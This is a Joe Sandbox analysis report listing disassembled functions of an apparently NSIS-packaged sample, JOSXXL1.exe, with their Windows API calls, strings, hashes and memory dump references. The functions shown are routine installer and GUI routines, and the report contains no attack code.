Part of subcall function 00405D58: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D7E

Strings

uB, xrefs: 00405F00
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00405EB2
[Rename], xrefs: 00405F93, 00405FA5
uB, xrefs: 00405F07
NUL, xrefs: 00405EBB
%ls=%ls, xrefs: 00405F1F
mB, xrefs: 00405EB6

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$Error writing temporary file. Make sure your temp folder is valid.$NUL$[Rename]$mB$uB$uB
API String ID: 222337774-3510403337
Opcode ID: e7382f7b8c26af6e0710f3cc174a3ede04313a00f8ed0edbfd428e2cb97c63d7
Instruction ID: e0a3a616164006467439f71a5ee21b177f06bf99c86c19659b49dd792d0ed9da
Opcode Fuzzy Hash: e7382f7b8c26af6e0710f3cc174a3ede04313a00f8ed0edbfd428e2cb97c63d7
Instruction Fuzzy Hash: 52312230241B157BD2206B618D09F6B3A5CEF85755F25003BFA42F62D2DA3CD9118ABD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: bf2da2548cab59f56b9c29784a74930a17cbf9c8a4836dedd9ba629d6cbcfebe
Instruction ID: e4307af7b63af3c060521be2e9f36853b9854247f946bef182d968856dcca5c3
Opcode Fuzzy Hash: bf2da2548cab59f56b9c29784a74930a17cbf9c8a4836dedd9ba629d6cbcfebe
Instruction Fuzzy Hash: BB418B71800209AFCF058FA5DE459AFBBB9FF45310F00842EF991AA1A0C738DA55DFA4

Function 100022D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 00406417 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A230,*?|<>/":,00000000,"C:\Users\user\Desktop\JOSXXL1.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 0040647A
CharNextW.USER32(0040A230,0040A230,0040A230,00000000), ref: 00406489
CharNextW.USER32(0040A230,"C:\Users\user\Desktop\JOSXXL1.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 0040648E
CharPrevW.USER32(0040A230,0040A230,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035E2), ref: 004064A1

Strings

"C:\Users\user\Desktop\JOSXXL1.exe", xrefs: 0040645B
*?|<>/":, xrefs: 00406469
C:\Users\user\AppData\Local\Temp\, xrefs: 00406418

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\JOSXXL1.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2125738232
Opcode ID: 3926a558a1d5fac86b1a7f5ee3cbb5d374d5244e5857cfc5627c81e884b8420d
Instruction ID: 97757fea8cfc4e5e160e398f5921a23c68bb92f937fa9eb531f0d47839a376ba
Opcode Fuzzy Hash: 3926a558a1d5fac86b1a7f5ee3cbb5d374d5244e5857cfc5627c81e884b8420d
Instruction Fuzzy Hash: AE11941580171299DB307B189C80AB762F8EF94760F56843FED8AB32C0E77D5C9286BD

Function 004042AE Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042CB
GetSysColor.USER32(00000000), ref: 004042E7
SetTextColor.GDI32(?,00000000), ref: 004042F3
SetBkMode.GDI32(?,?), ref: 004042FF
GetSysColor.USER32(?), ref: 00404312
SetBkColor.GDI32(?,?), ref: 00404322
DeleteObject.GDI32(?), ref: 0040433C
CreateBrushIndirect.GDI32(?), ref: 00404346

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: c8c0c82dcd415c8ab494bd2ee85d05619b55063599498dccf98d91aa8dec70c5
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: 9C2154B15007449BC7219F68DE08B5B7BF8AF81714F08892DFD95E26A0D734E948CB54

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405E39: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E4F

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 54eb05019f2e59d002bdcf8ef70b12416628f11d58b5efd06b79a11da1a785d5
Instruction ID: 367b42b1b2af5c2ac759aacef6cd20ad90251cc9961805460d5ea366d256a81f
Opcode Fuzzy Hash: 54eb05019f2e59d002bdcf8ef70b12416628f11d58b5efd06b79a11da1a785d5
Instruction Fuzzy Hash: 19510874D00219ABDF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99942DB69

Function 00402D9F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402DBA
GetTickCount.KERNEL32 ref: 00402DD8
wsprintfW.USER32 ref: 00402E06

Part of subcall function 004052E2: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 0040531A
Part of subcall function 004052E2: lstrlenW.KERNEL32(00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 0040532A
Part of subcall function 004052E2: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00402E19,00402E19,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,00000000,00000000,00000000), ref: 0040533D
Part of subcall function 004052E2: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll), ref: 0040534F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405375
Part of subcall function 004052E2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538F
Part of subcall function 004052E2: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040539D

CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402E2A
ShowWindow.USER32(00000000,00000005), ref: 00402E38

Part of subcall function 00402D83: MulDiv.KERNEL32(000556D4,00000064,0005ACF8), ref: 00402D98

Strings

... %d%%, xrefs: 00402E00

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 6f4a503913ef8ebb725cac2aff158102153f5ef9f377251618bd95ec040e3a6b
Instruction ID: 2b011a82625418f68b8499a5732cb5b9e1a166e3b6ac7890347db752d15f278b
Opcode Fuzzy Hash: 6f4a503913ef8ebb725cac2aff158102153f5ef9f377251618bd95ec040e3a6b
Instruction Fuzzy Hash: D7015230541624E7C6216B60EE4DA9B7668AF00B05B24407BF845F11E1DAB85455CBEE

Function 00404BAC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BC7
GetMessagePos.USER32 ref: 00404BCF
ScreenToClient.USER32(?,?), ref: 00404BE9
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BFB
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C21

Strings

f, xrefs: 00404BFD

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 2ee92d30c3d4f62541dcb72b74cb9552329c9a0a7836ec50a82d95606e957567
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: 33015E71900218BAEB10DBA4DD85FFEBBBCAF54711F10412BBA51B61D0D7B4AA058BA4

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CE00), ref: 00401DD1

Strings

Times New Roman, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Times New Roman
API String ID: 3808545654-927190056
Opcode ID: 9d7988e3cd0506f91b59542dc0528f3f2e9c950226118d3629809f720825c0ab
Instruction ID: 540f35f5a36947b42322164f575acfe4ce77a432ba8ecb6b2d0148fd83f79f8e
Opcode Fuzzy Hash: 9d7988e3cd0506f91b59542dc0528f3f2e9c950226118d3629809f720825c0ab
Instruction Fuzzy Hash: EF01A231544640EFE7015BB0EF4EB9A3F74A7A5341F144579F941B62E2CAB801258BAD

Function 00402D04 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
wsprintfW.USER32 ref: 00402D56
SetWindowTextW.USER32(?,?), ref: 00402D66
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D78

Strings

verifying installer: %d%%, xrefs: 00402D4B, 00402D54
unpacking data: %d%%, xrefs: 00402D44

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 341d5f173f72d28821ee7b690774ab615ca69fb47453f4e2e3432960910f7c7f
Instruction ID: dce893d37650e0a5fad71f20df5db28da565fcefcb4dd95a10239a167aca93fc
Opcode Fuzzy Hash: 341d5f173f72d28821ee7b690774ab615ca69fb47453f4e2e3432960910f7c7f
Instruction Fuzzy Hash: 19F0367050020DABEF206F60DD49BEA3B69EF04309F00803AFA55B51D0DFBD59558F59

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

